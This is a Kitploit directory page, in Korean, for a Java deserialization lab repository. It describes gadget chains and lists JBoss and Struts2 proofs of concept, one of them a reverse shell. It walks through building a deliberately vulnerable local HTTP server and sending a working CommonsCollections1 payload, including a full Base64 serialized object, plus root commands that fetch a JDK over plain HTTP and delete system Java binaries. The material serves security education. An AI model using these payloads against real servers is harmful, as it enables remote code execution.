Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2015-7501 — (CVE-2015-7501)JBoss JMXInvokerServlet 反序列化漏洞 | Kitploit
도구/GitHubGitHub/ianxtianxt/cve-2015-7501
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubianxtianxt/cve-2015-7501

CVE-2015-7501

(CVE-2015-7501)JBoss JMXInvokerServlet 反序列化漏洞

저장소 보기
2296년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Java 역직렬화 취약점 실습실

이 콘텐츠는 H2HC 매거진 12호를 위해 작성된 논문과 관련이 있습니다.
전체 논문 보기: https://www.h2hc.com.br/revista/

발표 슬라이드와 영상은 곧 제공될 예정입니다.

Java (JVM) 환경에서 네이티브 역직렬화 취약점의 기초에 대한 개요

Java 가상 머신(JVM)에서 역직렬화 취약점에 대한 개요

콘텐츠

이 실습실에는 역직렬화 취약점과 가젯 체인이 이를 어떻게 악용하는지 이해하는 데 도움이 되는 코드 샘플이 포함되어 있습니다. 목표는 새로운 페이로드를 개발하거나 환경을 더 잘 설계할 수 있도록 더 나은 이해를 제공하는 것입니다.

또한 페이로드를 테스트하는 데 도움이 되는 취약한 테스트 애플리케이션(VulnerableHTTPServer.java)도 있습니다.

슬라이드

Alt text

예제 (PoC)

  • PoC CVE-2017-7504 - JBossMQ JMS 호출 계층 (https://access.redhat.com/security/cve/cve-2017-7504)

Alt text

  • PoC CVE-2017-12149 - JBoss 6.X 및 EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)

Alt text

  • PoC Reverse Shell을 이용한 struts2-rest XStream 역직렬화 악용

Alt text

실습실 사용 예제

먼저 전체 논문을 읽어야 합니다. 그런 다음 샘플 코드를 검토하고 취약한 테스트 애플리케이션을 사용하여 페이로드가 어떻게 작동하는지 이해하세요.

JDK 다운로드

Oracle 페이지에 가서 등록하고 싶지 않다면, 다음 링크에서 직접 JDK를 다운로드할 수 있습니다: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/

root로 다음을 실행하세요:

root@kitploit:~
# cd /opt
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz 
# tar zxvf jdk-8u20-linux-x64.tar.gz
# rm -rf /usr/bin/java*
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
# java -version
  java version "1.8.0_20" 

코드 가져오기:

root@kitploit:~
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
$ cd JavaDeserH2HC

취약한 웹 애플리케이션 컴파일 및 실행:

root@kitploit:~
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
root@kitploit:~
* =============================================================== *
*    Simple Java HTTP Server for Deserialization Lab v0.01        *
*    https://github.com/joaomatosf/JavaDeserH2HC                  *
* =============================================================== *
You can inject java serialized objects in the following formats:

 1) Binary in HTTP POST (ie \xAC\xED). Ex:
   $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser

 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
   $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
   $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."

 3) Base64 or Gzip+Base64 in cookies. Ex:
   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
   
 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
   $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
   
 5) XML for XStream RCE vulnerability/serialization. Ex:
   $ curl 127.0.0.1:8000 -d @file.xml
   
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
==================================================================

JRE Version: 1.8.0_77
[INFO]: Listening on port 8000

페이로드 테스트

classpath에 commons-collections3.2.1이 있고 JRE < 8u72인 애플리케이션에서 작동하는 example1 컴파일:

root@kitploit:~
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java

페이로드 생성:

root@kitploit:~
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
Saving serialized object in ExampleCommonsCollections1.ser

취약한 서버 악용:

HTTP POST를 통해 바이너리 형식으로 페이로드 전송:

root@kitploit:~
$ rm -rf /tmp/h2hc_2017
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017

HTTP 쿠키를 통해 Gzip+Base64 형식으로 페이로드 전송:

root@kitploit:~
$ rm -rf /tmp/h2hc_2017
$ gzip ExampleCommonsCollections1.ser
$ base64 -w0 ExampleCommonsCollections1.ser.gz
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
도구 다운로드